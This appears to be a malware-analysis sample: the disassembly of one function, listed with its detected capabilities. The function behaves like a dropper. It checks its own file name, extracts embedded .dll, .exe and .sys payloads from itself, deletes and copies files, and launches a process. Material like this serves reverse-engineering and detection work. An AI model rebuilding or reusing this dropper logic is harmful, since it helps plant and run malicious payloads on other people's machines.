Function at 0x403570
Capabilities:
Copy file
Create process on windows
Create process suspended
Delete file
Get file size
Read file on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x878
push ebx
push esi
push 0x200
call fcn.00404260
add esp, 4
mov esi, eax
push 0x200
push esi
xor ebx, ebx
push ebx
mov dword [esp + 0x30], esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call main
push esi
call fcn.00403040
add esp, 8
test eax, eax
je 0x403955
push 0x5c
push esi
call fcn.004042a0
mov cl, byte [eax]
add esp, 8
cmp cl, 0x71
jne 0x4035cf
cmp byte [eax + 1], 0x6d
je 0x4035e3
push str.lanmanwrk.exe
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
jne 0x403955
push 0x5c
push esi
call fcn.004042a0
mov cl, byte [eax]
add esp, 8
cmp cl, 0x71
jne 0x403609
cmp byte [eax + 1], 0x6d
jne 0x403609
pop esi
mov eax, 1
pop ebx
add esp, 0x878
ret
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40362d
pop esi
xor eax, eax
pop ebx
add esp, 0x878
ret
push ebp
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
lea eax, [edi + 1]
push eax
call fcn.00404260
add esp, 4
push ebx
lea ecx, [esp + 0x20]
push ecx
push edi
mov ebp, eax
push ebp
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
shr edi, 2
xor eax, eax
dec edi
mov dword [esp + 0x10], ebx
je 0x403693
mov ecx, dword [0x406024]
mov edx, dword [str._8GV]
cmp dword [ebp + eax*4], ecx
jne 0x403688
cmp dword [ebp + eax*4 + 4], edx
jne 0x403688
lea esi, [eax + 2]
mov dword [esp + 0x10], esi
inc eax
cmp eax, edi
jb 0x403675
cmp dword [esp + 0x10], ebx
jne 0x4036a9
push ebp
call fcn.00404280
add esp, 4
pop edi
pop ebp
pop esi
xor eax, eax
pop ebx
add esp, 0x878
ret
push 0x400
call fcn.00404260
push 0x400
mov dword [esp + 0x2c], eax
call fcn.00404260
push 0x400
mov dword [esp + 0x2c], eax
call fcn.00404260
mov edi, eax
push 0x400
push edi
call fcn.00404dd0
add esp, 0x14
push str.iexchg.dll
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40378c
push ebx
lea edx, [esp + 0x20]
push edx
push 4
lea eax, [esp + 0x34]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edx, dword [esp + 0x28]
push ebx
lea ecx, [esp + 0x20]
push ecx
push edx
lea eax, [esp + 0x94]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov ecx, dword [esp + 0x1c]
push esi
mov byte [esp + ecx + 0x8c], bl
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push edi
call esi
lea edx, [esp + 0x88]
push edx
mov dword [esp + 0x1c], ebx
call esi
test eax, eax
jne 0x40378c
mov eax, dword [esp + 0x18]
mov ecx, eax
inc eax
cmp ecx, 0xa
mov dword [esp + 0x18], eax
jge 0x40378c
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea edx, [esp + 0x88]
push edx
call esi
test eax, eax
je 0x403763
push ebx
push ebx
push 4
push ebx
push ebx
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push edi
mov esi, eax
call fcn.00404280
mov eax, dword [esp + 0x28]
push str..exe
push eax
call fcn.00402f40
mov ecx, dword [esp + 0x2c]
push str..sys
push ecx
call fcn.00402f40
mov edx, dword [esp + 0x40]
add esp, 0x14
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edi, dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
mov dword [esp + 0x18], eax
lea eax, [esp + 0x34]
push eax
push 4
lea ecx, [esp + 0x20]
push ecx
push esi
call edi
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x2c]
push ebx
lea edx, [esp + 0x34]
push edx
push eax
push ecx
push esi
call edi
mov edx, dword [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push ebx
mov dword [esp + 0x18], eax
lea eax, [esp + 0x34]
push eax
push 4
lea ecx, [esp + 0x20]
push ecx
push esi
call edi
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
push ebx
lea edx, [esp + 0x34]
push edx
push eax
push ecx
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [esp + 0x24]
mov esi, dword [esp + 0x2c]
push ebx
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push esi
call fcn.00404280
mov eax, dword [esp + 0x14]
mov ecx, dword [ebp + eax*4]
mov esi, dword [ebp + eax*4 + 4]
add esp, 4
inc eax
lea edx, [ebp + eax*4 + 4]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x18], edx
mov eax, dword [esp + 0x20]
push ebx
push ebx
push 4
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x18]
push ecx
push esi
push edx
mov dword [esp + 0x1c], eax
call fcn.004020e0
mov ecx, dword [esp + 0x24]
add esp, 0xc
push ebx
lea eax, [esp + 0x20]
push eax
push esi
mov esi, dword [esp + 0x1c]
push ecx
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebp
call fcn.00404280
add esp, 4
lea edx, [esp + 0x78]
push edx
lea eax, [esp + 0x38]
push eax
mov eax, dword [esp + 0x2c]
push 0x4053e4
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push eax
mov dword [esp + 0x5c], 0x44
mov word [esp + 0x8e], bx
mov dword [esp + 0x84], ebx
mov dword [esp + 0x88], ebx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x80], ebx
mov dword [esp + 0x78], ebx
mov dword [esp + 0x9c], ebx
mov dword [esp + 0x94], ebx
mov dword [esp + 0x98], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x90], ebx
mov dword [esp + 0x68], ebx
mov word [esp + 0x8c], 5
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x40369c
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call fcn.004031b0
push esi
call fcn.004030c0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]